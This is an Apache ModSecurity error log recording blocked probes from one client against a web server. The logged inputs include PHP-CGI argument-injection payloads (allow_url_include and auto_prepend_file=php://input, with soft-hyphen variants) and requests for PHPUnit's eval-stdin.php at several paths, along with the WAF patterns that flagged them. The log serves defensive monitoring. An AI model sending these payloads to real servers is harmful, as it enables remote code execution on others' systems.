[Sat Oct 24 09:16:52.501776 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "atyvxBdOhHN-18IxgZKrQQAAAAY"]
[Sat Oct 24 09:16:52.502255 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/hello.world"] [unique_id "atyvxBdOhHN-18IxgZKrQQAAAAY"]
[Sat Oct 24 09:16:52.503150 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxBdOhHN-18IxgZKrQQAAAAY"]
[Sat Oct 24 09:16:52.653181 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "atyvxBdOhHN-18IxgZKrQgAAAAY"]
[Sat Oct 24 09:16:52.653273 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/"] [unique_id "atyvxBdOhHN-18IxgZKrQgAAAAY"]
[Sat Oct 24 09:16:52.653715 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/"] [unique_id "atyvxBdOhHN-18IxgZKrQgAAAAY"]
[Sat Oct 24 09:16:52.654461 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxBdOhHN-18IxgZKrQgAAAAY"]
[Sat Oct 24 09:16:52.857228 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvxBdOhHN-18IxgZKrQwAAAAY"]
[Sat Oct 24 09:16:52.857304 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvxBdOhHN-18IxgZKrQwAAAAY"]
[Sat Oct 24 09:16:52.857855 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvxBdOhHN-18IxgZKrQwAAAAY"]
[Sat Oct 24 09:16:52.858621 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxBdOhHN-18IxgZKrQwAAAAY"]
[Sat Oct 24 09:16:53.004461 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "atyvxRdOhHN-18IxgZKrRAAAAAY"]
[Sat Oct 24 09:16:53.004536 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "atyvxRdOhHN-18IxgZKrRAAAAAY"]
[Sat Oct 24 09:16:53.004994 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/test.hello"] [unique_id "atyvxRdOhHN-18IxgZKrRAAAAAY"]
[Sat Oct 24 09:16:53.005774 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrRAAAAAY"]
[Sat Oct 24 09:16:53.108017 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvxRdOhHN-18IxgZKrRQAAAAY"]
[Sat Oct 24 09:16:53.108102 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvxRdOhHN-18IxgZKrRQAAAAY"]
[Sat Oct 24 09:16:53.108527 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/index.php"] [unique_id "atyvxRdOhHN-18IxgZKrRQAAAAY"]
[Sat Oct 24 09:16:53.109319 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrRQAAAAY"]
[Sat Oct 24 09:16:53.215158 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrRgAAAAY"]
[Sat Oct 24 09:16:53.215716 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrRgAAAAY"]
[Sat Oct 24 09:16:53.216599 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrRgAAAAY"]
[Sat Oct 24 09:16:53.324325 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrRwAAAAY"]
[Sat Oct 24 09:16:53.324827 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrRwAAAAY"]
[Sat Oct 24 09:16:53.325644 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrRwAAAAY"]
[Sat Oct 24 09:16:53.426961 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrSAAAAAY"]
[Sat Oct 24 09:16:53.427459 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrSAAAAAY"]
[Sat Oct 24 09:16:53.428264 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrSAAAAAY"]
[Sat Oct 24 09:16:53.506154 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrSQAAAAY"]
[Sat Oct 24 09:16:53.506605 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrSQAAAAY"]
[Sat Oct 24 09:16:53.507453 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrSQAAAAY"]
[Sat Oct 24 09:16:53.585048 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrSgAAAAY"]
[Sat Oct 24 09:16:53.585689 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrSgAAAAY"]
[Sat Oct 24 09:16:53.587042 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrSgAAAAY"]
[Sat Oct 24 09:16:53.661589 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrSwAAAAY"]
[Sat Oct 24 09:16:53.662072 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "atyvxRdOhHN-18IxgZKrSwAAAAY"]
[Sat Oct 24 09:16:53.662939 2026] [security2:error] [pid 2627273:tid 2627273] [client 13.140.242.159:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atyvxRdOhHN-18IxgZKrSwAAAAY"]
